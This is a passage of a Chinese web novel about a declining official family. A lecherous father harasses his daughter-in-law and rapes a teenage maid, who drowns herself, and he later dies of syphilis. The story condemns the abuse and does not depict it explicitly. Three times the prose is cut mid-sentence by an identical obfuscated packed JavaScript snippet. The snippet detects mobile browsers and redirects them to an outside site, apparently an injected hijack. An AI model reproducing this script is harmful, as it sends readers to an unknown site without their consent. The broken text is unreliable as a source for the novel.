姝书见自己父亲慌慌张张从大哥曹辐院子里出来,便觉不对劲。 曹贵被她看得不自在,躲着眼神,含糊道:“多喝了几杯,走岔路了。” 姝书眼含怒气地盯着他。 曹贵被她看得发毛,往后退了半步,讪讪道:“死丫头,大半夜的不回屋去,在外头瞎逛什么。” 曹姝书从牙缝里挤出话来:“爹,女儿今日把话撂在这儿。你若敢动嫂嫂一根头发,从今往后,只当没我这个女儿。” 曹贵脸上横肉抖了抖,嘴唇翕动,耷拉下眼皮,把袖子一甩,瓮声瓮气道:“胡吣些甚么。”说罢,缩着脖子,头也不回地走了。 14. 憨哥哥误打亲爹 次日一早,新妇来给公公婆婆敬茶。辐大哥哥笑得合不拢嘴,牵着新妇的手不舍得松开。 辐大嫂嫂端起一碗茶,走到曹贵和孙夫人面前,举止温婉可人,说话也是含娇细语:“儿媳来给公公婆母敬茶,祝公婆福寿安康。” “好好好。”孙夫人开心的合不拢嘴,连上前去接过她的茶。 她又端了一碗茶,送到曹贵跟前,说道:“公公,请喝茶。” 曹贵生的贼眉鼠眼,满脸横肉,看多了就不免让人有些反胃。 他不急着接茶,先拿眼把新妇一双纤纤玉手溜了一遍,喉结上下滚动,又抬眼去瞧那张脸,秀丽清纯,真真一朵带露的芙蓉。 新妇被他瞧得心头发紧,浑身不自在,只得又催一句:“公公,请用茶罢。” “好,好,好……”曹贵涎着脸应着,饿眼馋涎兀自盯着那粉面桃花。 这老货伸出手来,明面上是去接茶盏,可粗糙指头却往新妇的手背上蹭去,恨不能捏住了揉搓揉搓。 厅上众人哪个不是明眼人,曹贵这老扒灰的勾当,尽收眼底,只是碍于情面,噤若寒蝉。 曹辐气坏了,一把将新妇护在身后,怒目瞪视亲爹,恨恨地一跺脚,扯着新妇衣袖,气冲冲甩袖而去。 好好一个敬茶礼,闹得这般不堪。 满堂亲戚俱在,孙氏脸上火烧火燎,只得强挤个笑纹出来打圆场:“列位亲眷见笑,我这孩儿年轻气盛,不懂事体。” 姝书紧握着拳头,看曹贵的眼神,都带着恨意,和一种无可奈何的感觉。 曹晚书瞧见她眼眶湿润,连忙上去挽着她的胳膊,试图去安慰她几句。 人散去,姝书哭着跑了出去,曹晚书连忙追过去。 跑到屋里,姝书一头扎进被子里,趴在床上痛哭起来。 曹晚书坐在床边,默默的陪着她,让她哭个痛快。 姝书呜咽着道:“有这么一个爹,真是倒了八辈子霉了!” “妹妹,咱们总得想想事情怎么解决。” “呜呜…,我就知道,我就知道他肯定是对大嫂嫂起了心思。我那个爹,就是色鬼投胎,整个府上但凡是有点儿姿色的丫鬟,没有一个是不被他看上的。” 她擦了擦泪,又接着道:“不瞒你说,他在外头还养了四五个粉头,七八个野种,简直就是风流阵里的急先锋。家中的钱财,也是一箱一箱的往外头送,吃喝嫖赌没有一样是他不沾的。 府上十几个姨娘,都不够他用的,竟然还惦记上自己的儿媳妇,怎就这么不知礼义廉耻。想当年祖父那一辈,家中是多么辉煌。可如今,早就闹了几年亏空了,全靠典当首饰古董过日子。不求他是个上进的,只求他能安分几日,便是我们做子女最盼望的了。你说,天底下哪有当爹的,让子女操碎心的道理?” 曹晚书明白她心中的苦楚,将她揽在自己的怀里,看着她的眼泪扑簌簌的从眼眶中掉落,越是极力想要克制,哭得却越狠。 不知怎的,曹晚书心尖也泛着酸,竟然也陪她哭了起来。 “你哭什么呀?”姝书听到她的抽泣声,忍不住问。 “看着你哭得厉害,我也忍不住哭起来了。” 姝书忽地又笑了,屁股往里挪了挪,给曹晚书留出来一个空,姐妹俩一起躺在床上。 曹晚书想起祖母之前说的话,便对她道:“一个大家族,有兴必定会有衰。三叔虽然是一个品性不好的人,但好歹辐大哥和轮二哥都是争气的。一个大家族怕的不是即将要没落,而是怕没有中兴的子女。等辐大哥哥带着嫂嫂到扬州上任后,就不用再担心这件事了。” 姝书用袖子擦了擦眼泪,侧着身子,许是听了晚书的话,心情好了很多。 但是,又有新的烦恼涌上来:“唉,我爹还想把我嫁给济州的富商,让我给那人做续弦去,可是他都已经四十多岁了。我爹是为了钱,要将我往火坑里推,我怎就如此命苦…” 静静地听她说完,曹晚书也是发自心底儿的心疼她,但不愿看到姝书这自怨自艾的模样。 “纵是三叔存了这心,婶娘定是不依的,两位哥哥更不会坐视。妹妹宽心,事未必糟到那般田地。便真是…也得给自己谋条后路,断不能稀里糊涂,任人摆布了一生。” 曹姝书紧锁的眉头舒展开来,对着晚书明亮的眼睛,忽然间笑了起来。 “你说得对,不能稀里糊涂的过一辈子。我原先是想着,既然他让我嫁,那我就嫁了吧,以后日子过得不好也都是他的错。可是听你这么一说,我才发觉,哪怕我以后日子过的不好,他这个当爹的也不会心疼我半分,反而还会从中得利,满足自己的贪欲。幸亏有你来开导我,不然真害怕以后误入歧途了。” 能够及时醒悟,没有踏进泥潭中,已经是值得庆幸的事情了。 曹晚书也开始担忧起来,自己也快到了及笄的年龄,到时候会嫁给怎样的一个人呢? 在这个男人可以纳很多小妾的时代,自己真的可以忍受以后的丈夫纳妾吗? 她不想,不想和第二个人分享自己的丈夫。 曹晚书有着二十一世纪人的思想,有时庆幸,有时却很苦恼。男人三妻四妾对于这个时代的人来说很平常,没有什么大不了的。 可是对于曹晚书来说,将来的丈夫纳妾,绝对不行。 她这个思想,可是要被冠上妒妇的名声,想想以后自己的婚后生活,曹晚书还真是有些发愁。 得应付大宅子里的勾心斗角,还得相夫教子操持家务,她真是巴不得以后削发做姑子去。 有了上回曹贵惦记儿媳妇这回事,曹辐是上了心,对这事一直耿耿于怀,寸步不离辐大嫂嫂。 曹贵几次想找机会,都没成,最后忍无可忍,只能带上几锭银子,打算骑马到花满楼,找陈行首来服侍自己。 正准备去牵马,却遇上了曹轮。 曹贵一看见他,下意识地就想背过身去躲起来。 不料还是被曹轮给看到了,曹轮走上前,问道:“爹,你牵马是要出门去?” 曹贵眼神四处乱瞧,慌乱之下随意扯了个谎:“待在家里实在是闷得慌,到外头去转转。” 曹轮抢过他手里的缰绳,又重新把马牵了回去,劝道:“外头到处都是流寇,还是别出去了,待在家里头都不一定安全,更别说是外面了。爹您都这个年纪了,难道还不明白吗。” 作为一个父亲,被自己儿子数落一通,曹贵面子上有些过不去,威声道:“行了,我知道了,你快该干什么干什么去罢!” 曹贵只好折返回去,曹轮以为他听劝了,也转身走了。 过了好一会子,曹贵悄悄地又跑到马棚里,见四下无人,欣喜之下牵了马就往大门外跑,直奔花满楼。 鸨母见是熟客曹大老爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202126|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又是带着足色纹银来的,自是笑脸相迎,忙不迭将花魁陈行首请了出来。 这陈行首,名唤陈娇儿,果然生得标致,柳腰轻摆,一双眼儿似能勾魂。 只是她见了曹贵这老货,心下便先生厌恶,皱纹堆垒,眼袋下垂,一双老眼在她身上骨碌碌乱转,恨不能剥了衣裳去。 陈娇儿强忍着恶心,堆起假笑,勉强应酬。 及至上了牙床,曹贵猴急地便要成就好事。陈娇儿只觉那老朽身躯压上来,气息浑浊,满心不耐,恨不得一脚踹下床去。她草草敷衍,只盼这老厌物早些了事滚蛋。 谁料曹贵得寸进尺,事毕尤嫌不足,腆着脸,一脸色迷迷道:“娇儿,且与老夫擦擦身子,松快松快。” 陈娇儿心头一阵翻江倒海,几乎要呕出来,哪里肯伺候?便推脱道:“曹大爷,奴家身子有些不爽利,前头妈妈还唤呢,您老且歇着。”说罢,便欲起身。 曹贵见她要走,如何肯依?扯住衣袖,只管歪缠。 陈娇儿柳眉倒竖,正要发作,曹贵见美人变了脸色,心下也怯了,只得讪讪地自己下床。 在花满楼厮混了半日,直到日头偏西,方才餍足,整了整衣衫,骑上马,晃晃悠悠地打道回府。 走到半路上,忽然间从一堆枯草丛里窜出来几个彪悍的大汉,把曹贵给围了起来。 这个时候还能骑马出行的人,都是非富即贵的,看他的穿着打扮就不像穷人。 几个悍匪扛着大刀,伸手问曹贵要钱。 曹贵吓坏了,连忙把剩下的几块碎银子拿出来,递到悍匪手上,慌张道:“大爷,就剩这些了,行行好,放我走吧。” 带头的悍匪低头一看,就这点钱,凶狠道:“打发叫花子呢!” “真没有了,大爷,不信你搜,只要搜出来都算你的。”曹贵吓得腿直打颤,早知道半路会遇上打劫的,他就老老实实待在家里不出门去的。 “这可是你说的。”悍匪嘿嘿一笑,带着几个兄弟直接就把曹贵给扒了个精光,只留了个亵裤在身上,连带着马,也一并给抢走了。 曹贵还以为他们要杀了自己,躺在地上吓得尿了裤子,等反应过来时,见天已经黑了,他只好捂着□□一路狂奔回家。 终于回到家门口,见大门紧闭,曹贵猛砸了数十下门,才赶来两个小厮来开门。 开门的小厮一见曹贵这副模样,自是吓得不轻,正发愣,身上的外袍就已经被曹贵扯下来,披在了他自己身上。 曹贵披了衣服刚要跑,想想又转身回来,怒瞪着那两个小厮道:“不许把这事说出去,否则我割了你们的舌头。” “是是是。” 曹贵把自己裹得严严实实就往内院狂奔,此时曹轮刚下值回来,见一个黑影子鬼鬼祟祟地往内院跑。 这几日外头不太平,曹轮咯噔一下,心想不妙,连忙疾步追去,一脚上去把那人踢倒在地上。 借着月色,照着那人的脸抡起拳头就是一顿狂打,打得那人嗷嗷直叫。 曹贵倒在地上疼得受不了,身上披的衣服也掉了下来。 曹轮见此人衣不蔽体,心想莫不是采花贼,家中妹妹又众多,都还住在内院里。 思及此,曹轮下手便更狠了起来,连踢带打,嘴里还骂着:“我打死你个不要脸的淫贼,竟还打起我家中妹妹们的主意了!今日叫你认得曹爷爷的拳头!” 15. 暗藏春色却非花 曹贵疼得说不出话来,用最后一丝力气,大喊道:“别打了别打了,我是你爹!” 曹轮一听这声音,连忙收手,再一仔细看,还真是自己那位老爹,曹贵。 “爹,你怎么穿成这个样子?” “你个不孝的,敢打自己的老爹。你枉着人子皮,死后入无间地狱!哎呦喂,疼煞我也。”曹贵躺在地上指着他大骂,疼得面部狰狞,翻来覆去。 曹轮连忙把他给扶起来,将衣服捡起给他披上。 “您干什么去了,怎么弄成这个模样?这几天外头到处流寇作乱,儿子还以为家中进贼了。误打了爹,是儿子不孝。” 曹贵正在气头上,想打他几下报仇,可是却没有那个力气。又摸了一把脸,一看手上都是鲜血,他愤愤道:“你是下了死手要把我给打死啊。” 曹轮只好将曹贵扛到屋里去,孙夫人一看曹贵被打的鼻青脸肿浑身是伤,吓了一跳,赶忙放下手中的针线,走过来查验伤势。 “怎么弄得这是?” 曹贵龇牙咧嘴,指着曹轮怒道:“你问这个畜牲去罢!” 孙夫人将目光看向曹轮,曹轮也不知该如何开口,这事说来实在是难以启齿。 他只好转移话题,问她说:“娘,可还有治跌打损伤的药膏?” “有有有,我这就去拿。” 孙夫人帮曹贵涂抹了伤口,曹贵欲要睡下,见曹轮还杵在那儿站着,不由得心下来气:“丧门星!还戳在这里做甚?等着给你老子收尸么?滚!快滚!看见你这孽障就心口疼!再待下去,老子的命迟早断送在你手里!” 曹轮被骂得抬不起头,心中五味杂陈,终究什么也没说,作了个揖,默默退了出去。 暂且按下这桩荒唐事不表。 却说次日,朝廷派来剿匪的官兵终于浩浩荡荡进了济州城。 知府衙门忙得脚不沾地,曹辐少不得也要出门应酬,接风洗尘,迎来送往。 临出门前,再三叮嘱浑家辐大嫂嫂,务必待在几位小姑子房里,万不可独自走动。辐大嫂嫂知他心意,自是点头应允。 城中百姓闻听官兵到来,初时如同久旱逢甘霖,奔走相告,只道是救星到了,从此可以安枕无忧。 家家户户虽已穷得叮当响,还是勉强凑出些米粮菜蔬,箪食壶浆,盼着军爷们吃饱喝足好去剿匪。 谁知这王师的行径,比之流寇更甚三分。流寇劫掠尚是偷偷摸摸,这官兵却是明火执仗。 他们以征粮剿匪为名,挨家挨户,砸门撬锁,翻箱倒柜,将百姓们缸底最后一点活命的口粮、梁上仅存的几串干菜、甚至炕席底下藏的二升麦种,尽数搜刮了去。 稍有迟疑或反抗,轻则鞭打脚踢,重则枷锁上身。 那些军汉,个个吃得满嘴流油,红光满面,将抢来的粮食大车小车运回营盘,口中还叫嚣着:“老子们千里迢迢来帮你们杀贼,吃你们几口粮食,那是天经地义!饿着肚子怎么打仗?” 可怜济州百姓,这几年天灾不断,收成本就稀薄,家家户户早已是糠菜半年粮。如今这点活命的指望也被夺走,当真是叫天天不应,叫地地不灵。 曹辐在衙门里,也断断续续听闻了这些事。同僚们或摇头叹息,或麻木不仁。 他看着窗外灰蒙蒙的天,想着家中老小,想着那些面黄肌瘦的街坊,心头如同压了一块巨石,沉甸甸地喘不过气。 想上陈几句,可惜人微言轻;想暗中周济,杯水车薪。 一股郁结之气堵在胸口,只觉这世道,实在是荒谬。 兵耶?匪耶?到头来,苦的都是这地皮上刨食的蝼蚁苍生。 这曹辐每日忧心忡忡,连日来为着米价腾贵之事,直是愁肠百结,寝食难安。他这忧思,如瘟病一般,也染了枕边人。 辐大嫂嫂薛氏,本是温婉和顺的性子,如今也被他带累得终日里蛾眉紧蹙,杏眼含愁,常自幽幽地叹上几口长气。 这一日,女眷们都在屋子里绣花,大家伙儿都欢声笑语的,只有辐大嫂嫂皱着眉头一言不发,于这情形显得格格不入。 曹晚书走上前去,问道:“嫂嫂,你有甚么心事?说来我们听听。” “还能有甚么心事,官人最近为了粮食发愁,米价上涨得厉害,再这样下去,咱们家都快吃不上粮了,更别说是老百姓。”薛氏道。 姝书正在逗鸟,听后插嘴道:“种地收粮,本就是看老天爷脸色吃饭的行当。他老人家肯赏脸,风调雨顺,自然仓廪丰实。若是发起怒来,赤地千里,便是神仙也变不出米来。咱们愁死又能如何?” 这时,外面丫鬟走进来通报,说是曹辐要接薛氏回去了。 薛氏嘴角微微一笑,起身就要离开。 姝书调笑道:“果然是新婚燕尔,嫂嫂刚刚还愁呢,现在大哥哥一来,脸上都笑出花来了。” 曹辐一听,将薛氏揽在自己身后,上前去轻轻踹了姝书一脚,玩笑道:“小妮子就你嘴贫,过几年就把你给嫁出去。” “我们帮你照看着嫂嫂,无功不说,倒还有过了?这是什么道理!”姝书两手叉腰,不服气地跟他顶嘴。 站在最后面的曹晚书并没有参与其中,反而是若有所思的,忽然抬起头来问:“辐大哥哥,小妹斗胆问一句,如今外头米价,究竟贵到几何一斗了?” 提起这个,曹辐脸上的笑意顿时敛了去,化作一片沉郁的阴云,重重叹口气,道:“唉。晚书妹子,你是不知道。如今这米比那金珠还稀罕。市面上一斗糙米,竟要八十文钱,这还只是眼前,眼瞅着还要涨。这般下去,寻常人家如何买得起?我这做一方父母官的,若连治下百姓一口饱饭都保不住,这顶官帽戴着,还有什么脸面?这几日,我与同僚们愁得头发都要白了,也寻不出个万全的法子来。” 曹晚书凝神细听,沉吟片刻,竟开口道:“小妹倒有个浅见,只不知当讲不当讲。” 曹辐只当她是闺阁女儿家随口一说,心中颇不以为然。 想他堂堂官员,与多少积年老吏商议,尚且一筹莫展,她一个未出阁的丫头片子能有何高见? 只是此刻病急乱投医,一丝微光也是好的,便耐着性子道:“妹妹有何良策,但说无妨。” 一时间,众人皆停了手中活计,目光齐刷刷聚在曹晚书身上。 晚书不紧不慢地说:“依小妹愚见,这米价,非但不能降,反倒要让它涨,涨得再厉害些才好。” “什么?”曹辐愕然失笑,连连摇头,“好妹子,你这岂不是火上浇油?米价再涨,百姓更是连糠秕都嚼不起了,这算什么法子?” 玉书也蹙眉道:“正是这话,五妹妹,你年纪小,不知这柴米油盐的厉害,这等大事,莫要胡出主意。” 曹晚书神色镇定,不急不缓道:“哥哥姐姐们,且听我细说端详。正是要米价暴涨,消息传得越远越好!那些外地的米商,一个个都是逐利的,鼻子比狗还灵。闻听此地米贵如金,焉有不千里迢迢运米来贩卖之理?到时,市面上米粮堆积如山,看似价更高昂,实则已到了顶点。 等这米多得卖不动了,囤积久了,新米变陈米,陈米变霉米,米商们岂能不急?此时,只要大哥哥以官府名义,开仓放粮,平抑市价。那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208782|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些米商眼见官府平价售粮,唯恐自家米烂在仓里血本无归,必定争先恐后降价抛售。只要有一家开头,其余人等怕落于人后,必定蜂拥效仿,米价自然应声而落。到那时,还愁百姓无米下炊么?” 一席话,如同醍醐灌顶,又似拨云见日。 曹辐听得目瞪口呆,眼中精光爆射,猛地一拍大腿,面上又是狂喜又是羞惭,连连作揖道:“哎呀呀!晚书妹妹,你这简直就是妙计,妙啊!我怎么就没有想到。是愚兄目光短浅了,方才还笑你,妹妹千万不要见怪才是。” 曹晚书微微一笑道:“辐大哥哥言重了。能替兄长分忧,为百姓略尽绵薄,小妹心中亦是欢喜。” 她心来暗忖:幸得前世杂览群书,知晓些经济营生的道理,否则今日,怕也只能如他人一般,徒呼奈何了。 曹辐将薛氏又留在姊妹几个的院中,连夜跑出门去执行此事。 话说曹轮,不知从何处淘换来几贴上好的金疮药膏,专治跌打损伤。他本欲亲自给父亲送去,可转念一想,父亲看他不顺眼,自己去了,没准又是一顿排揎,连药都送不到跟前。 正踌躇间,抬眼瞥见院子里有个扫洒的小丫头,正在廊下躲懒吃茶。 曹轮便走过去,将那用油纸包好的药膏递给她,低声道:“这个,是治伤的好膏药,你替我悄悄送进老爷房里去。就说是……咳,就说是你孝敬的,莫提我。” 小丫头名叫柳絮,是新近才被太太买进来的,专管后院的洒扫。 她见是二爷吩咐,不敢推辞,只得接了药膏,心头惴惴地走到曹贵房外,轻轻叩了门。 “进来。”里面传来曹贵懒洋洋的声音。 听见门响,曹贵乜斜着眼瞧过去。见是个面生的小丫鬟,约莫十五六岁年纪。虽是一身粗使打扮,却掩不住那几分颜色,一张瓜子脸儿白生生的,两道细眉弯弯,尤其是一双眼睛,水汪汪、怯生生,顾盼间带有几分撩人的情致。 再仔细一打量,眉眼轮廓,与他新娶进门的儿媳薛氏有六七分相似。只是薛氏端庄,这小丫头却多了几分怯懦的风流。 只可惜了,儿媳妇被儿子整日里看的死死的,偷吃不得。面前这个丫鬟倒是也合自己胃口,凑活凑活也就得了。 曹贵起了兴致,从床上坐起身来,道:“你叫什么名字?瞧着面生得很。” 丫鬟低着头,回避着他的目光,说:“回老爷,我叫柳絮,是太太前儿刚买回来的,负责打扫院子。方才轮二爷得了几副好药膏,托我给您送进来。” “哦~”曹贵意味深长的点了点头,“你再走过来些,让我瞧瞧是什么药膏。” 柳絮上前迈一步,双手将药膏奉上,可距离床榻的位置却还有一米多远。 “再走近来些,把药膏递在我手上。” 整个曹府上下,谁不知道曹贵的德行,柳絮虽是新来的,可也听到了一些有关于曹贵的事情。 他看自己的眼神不简单,柳絮心里有些怕,可又不能不服从主子的命令,只好走过去,把药膏放在他手上。 谁料曹贵直接丢下药膏,一把拉住柳絮的手,将她拽到了床上。 柳絮吓坏了,急着要反抗,曹贵却将他抱得紧紧的,还一脸猥琐得说道:“卿卿,当什么扫地丫鬟啊,依了我,日后抬你做姨娘,让你使唤奴才如何?” “老爷,放开!放开!我不要做姨娘!”柳絮心中一颤,大声的喊着。 “傻丫头,你还想扫一辈子地不成,外头风吹日晒的,冻烂你这张小脸儿岂不可惜了。”曹贵嘿嘿笑着凑上去,“乖乖,让爷亲亲你这小脸蛋。” 16. 曹贵疯了 曹贵一张肥脸堆满了横肉褶子,酒气混着口臭,直往柳絮脸上喷。 柳絮这丫头,不过十五六年纪,怕极了,只觉眼前一黑,天旋地转,身子一软便人事不省。 待她悠悠醒转,只觉浑身凉飕飕的,再一看,一丝、不挂地躺在帐里。 侧眼一瞧,身边曹贵正歪着,一身松垮垮的肥膘白肉,鼾声如雷,涎水顺着嘴角淌下,滴在枕头上。 柳絮登时心口像被剜了一刀,眼泪便似断了线的珠子滚落下来。 她强忍着翻江倒海的恶心,咬着唇,抖抖索索翻身下床,也顾不得羞臊,慌忙拾掇起地上散乱的衫裙裤袜,胡乱套在身上。 穿罢衣裳,柳絮只觉得一股邪火在腔子里乱窜,恨不能一头碰死。她跌跌撞撞冲出房门,外头天光刺眼,照得她有些睁不开眼。 没跑出几步,那股子屈辱之气,倒把她顶了回来。 她三步并作两步又冲回卧房,见那老东西犹自沉睡,胸中那口恶气再难按捺。 柳絮红着眼睛,攒足了力气,朝着曹贵那张老脸,“呸!”地啐了一口唾液。 “老不羞的!也不撒泡尿照照你那张老脸!这老的少的,但凡是个母的,你都不放过!怕是连坟里的死人都惦记着吧!我咒你得花柳杨梅疮!浑身烂作一滩脓血,臭不可闻!早早死了喂野狗,阎王殿里下油锅才好!” 骂毕,见那曹贵只是吧唧了一下嘴,翻个身又睡死过去,并未惊醒。柳絮心头那口恶气略略出了些,这才恨恨地一跺脚,摔门而去。 谁承想,不过半日光景,府里便炸开了锅。几个小厮慌慌张张从曹贵院中那口深井里,捞上来一具湿淋淋的尸首。 众人围上去一看,不是别人,正是柳絮。 她浑身已经水透,一张小脸青白浮肿,乌黑的头发缠在脖子上,死状好不凄惨。 曹轮闻得此信,眼前金星乱冒,两腿一软,直挺挺就要栽倒,亏得旁边曹辐眼疾手快,一把搀住。 曹轮靠在哥哥臂上,浑身发抖,脸上半点血色也无,嘴里不住喃喃:“我的罪过…我的罪过啊…大哥,我…我真真不知会逼死她。早知爹他…他连个小丫头都不放过,我…我就是自己爬着去送药膏,也断不敢叫她踏入那院子半步啊!”说罢,涕泪横流。 曹辐见他如此,也是叹息,拍着他肩膀道:“人死不能复生。先着人去买副上好的杉木棺材,厚殓了柳絮。再多多与她家里些银钱、米粮,也算咱们的一点心意。唉…这事儿,怨不得你。咱爹那个性子,你是知道的。便不是你今番叫她送东西,日后撞见了,起了那等心思,又岂能躲得过去?” 柳絮这刚烈女子,一条性命就断送在曹贵院里的井中。 自那日起,曹贵便夜夜不得安生。一合眼,便见那井里爬出个湿淋淋的女鬼,披头散发,青面獠牙,口口声声喊着“还我命来”,还伸出鬼爪直掏他的心窝。 惊得他从床上弹起,一身冷汗浸透寝衣,如此折腾了几夜,曹贵吓得魂飞魄散,再不敢在旧院住了,忙不迭地搬到东头新起的院子里去。 可那一缕冤魂如附骨之疽,新院子也挡不住索命的噩梦。 不过三五日功夫,这曹贵便被折磨得整日里疑神疑鬼,惊惶如丧家之犬,一双眼珠子瞪得溜圆,再不敢闭上片刻。 府里下人们私下里嚼舌根,有说半夜里听见井台边有女子幽幽哭泣的,有说月光下看见井沿上坐着个湿漉漉人影的,传得沸沸扬扬,人心惶惶。 这风言风语自然也吹到了后宅。宋夫人和王夫人两个凑在一处做针线,免不了也议论起这桩事体。 王夫人捏着绣花针,放到头发上蹭了蹭头油,继续缝着,慢悠悠道:“这老货年轻时就是个色中饿鬼,屋里头、外头粉头,何曾断过?只道他老了能收收心,谁承想反倒越发没了王法,连个刚留头的小丫头片子也下得去手,真是阎王不嫌鬼瘦。如今这报应,可不是现世现报?活该他落下个失心疯。” 宋夫人放下手中活计,端起旁边小几上的茶盅,呷了一口,也叹道:“谁说不是呢。那柳絮我瞧着倒是个硬气的好丫头,模样虽不是顶尖儿的,难得心气儿高,不似那些眼皮子浅的,给点金银绸缎就往上贴。唉,可惜了,一朵鲜花生生叫那老猪狗糟蹋了。”说罢,连连摇头。 王夫人凑近了些,压低声音,带着几分神秘:“你可听说没?那丫头跳井前,又折回去把那老东西痛骂了一顿。轮哥儿那边为这事儿,肠子都悔青了,水米不沾牙,人都瘦脱了相。听说私下里给了柳絮老娘二百两,五十担上好的白米。还要娶她家那个妹子,叫柳枝的,进门做正头娘子哩。” “哎呦我的天爷。”宋夫人一听,不禁震撼,“娶个灶下婢的妹子当媳妇,轮哥儿莫不是失心疯了吧?咱们这样的人家,正房奶奶是何等体面?将来出门应酬,叫那些官宦人家的夫人们知道了,还不得笑掉大牙。” 王夫人拿帕子掩了掩嘴:“轮哥儿这孩子,平日里看着稳重,这回怕是着了魔障,重情义也重过了头。不过是个丫头想不开投了井,何至于此。” 正说着,宋夫人房里的邹妈妈掀了帘子进来,脚步匆匆,径直走到宋夫人身边,俯下身子凑在她耳朵边上,叽叽咕咕说了一阵。 只见宋夫人听着听着,眼睛越瞪越大,嘴巴微张着。 等邹妈妈说完,宋夫人兀自直勾勾地盯着她,一张脸煞白。 一旁的王夫人被这动静吓了一跳,又见宋夫人如此情状,好奇心大起,忙问:“这是怎么了?听见什么惊天动地的事儿了?” 宋夫人这才回过魂来,颤巍巍站起身,先探头往门外张望了几眼,确认无人,才缩回身子,凑到王夫人跟前说:“现世报,真真是现世报。曹贵现在浑身上下,起满了烂糟糟的红疹脓包。方才请的郎中瞧了,是得了杨梅天疱疮!” “哎呦我的亲娘祖宗!”王夫人惊得倒吸一口凉气,“这…这可是个烂到底的脏病!你说…这…这莫不是应了柳絮的咒,这就真得了?” 宋夫人冷笑一声,:“依我看,是老天爷开眼。他在外头眠花宿柳,专拣那下三滥的窑子里钻,那些粉头千人骑万人压的,身上能干净?染上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217510|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这脏病,是迟早的事。柳絮那丫头,不过是替天开了口罢了。” 且说曹贵疯疯癫癫闹腾了个把月,已是灯枯油尽。浑身上下没一块好肉,密布着流脓淌水的恶疮,散发着阵阵中人欲呕的腥臭。 请来的郎中,不论远近名声,掀开帐子瞧一眼,便都摇头摆手,只丢下一句:“预备后事吧,神仙难救。” 孙夫人一听这断语,嚎啕一声,一口气没上来,当场便厥了过去。众人七手八脚,好半晌才被曹辐掐着人中醒来。 “快别哭了,仔细哭坏了身子。这…这也是他的命数,谁成想就得了这个…哎!”宋夫人假惺惺上前搀扶劝慰,拿着帕子作势替孙夫人拭泪。 曹辐、曹轮兄弟俩,也陪着掉了几滴眼泪,脸上确有悲戚之色。 唯独曹姝书,一张小脸绷得紧紧的,站在那儿似泥塑木雕一般,不见半点悲容,眼中连水光也无。 她自己心里也翻腾得厉害,疑惑着:亲爹要咽气了,自己为何一丝波澜也无?是了,他素来不疼我,只当没我这个女儿,我也厌他荒唐…可…可这毕竟是亲爹啊!我这般铁石心肠,莫不是不孝? 姝书只觉屋里混着药味和腐肉味的浊气憋闷得慌,悄悄退了出来,独自走到院中一株老桂花树下,望着叶子发呆。 晚书见她神色不对,跟了出来。 “晚书姐姐,我爹…他眼看着不行了,可我为何一滴眼泪也挤不出来?我平日虽烦他,他也从不将我放在眼里,可血脉相连,我这般冷心冷肺,是不是不孝之极?我是不是…得了什么冷心肠的病?”她抬起眼,无助地看着曹晚书。 曹晚书心中了然,轻轻叹了口气,上前将她有些散乱的鬓发拢到耳后,道:“傻丫头,这哪里是你的错?分明是三叔他不曾尽到半分为父之责。他若疼你爱你如珠如宝,你此刻怕不早就哭成泪人儿了?人心都是肉长的,冷了热了,总有个缘故。” 见她依旧怔忡,又开解说:“许是你一时还懵着,没回过味儿来。等日子长了,不经意间想起些三叔待你的…嗯…哪怕是丁点好儿,或是旧日情景,那时心里头,或许才会涌上些难过也不定。” 姝书仰起脸,眼中有了点光亮:“真的么?” 曹晚书点头:“自然是真的。” 姝书这才勉强扯出一丝苦笑:“我还道自己得了没心肝的冷血病呢。” 曹晚书被她逗得莞尔,拉着她的手道:“尽说傻话,快回去吧,外头凉。” 两人刚欲转身,听得上房内一阵惊天动地的嚎叫声! 原本躺在榻上只剩出气没进气的曹贵,不知哪里来的邪劲,猛地翻身坐起,赤红着双眼,状若疯虎。 “杀了那贱人!陈行首!花满楼的陈娇儿!是她!是她把这脏病过给我的!烂了心肠的粉头!我活剐了你!” 他嘶吼着,从床上蹦下,也不顾浑身脓血淋漓,光着脚,踉踉跄跄就往外冲,口中兀自狂喊:“拿我的刀来!备马!备马!我要去花满楼,剁了那害人精!” 这架势唬得一屋子人魂飞魄散,哭喊拦阻乱成一团。 17. 管家真不容易 又过两月,曹贵死了。说是下、部溃烂,疼了七八天,夜里叫唤得隔壁院子都听得见,到底也没熬过去。家里也没怎么发丧,拢共就请了三个和尚念了半日经,草草埋了。 济州那边的流寇,倒是叫官兵剿了个干净。朝廷来了文书,说曹辐治理有方,升了扬州府的通判,叫尽快去上任。 曹晚书他们这一行,便是要回去了。 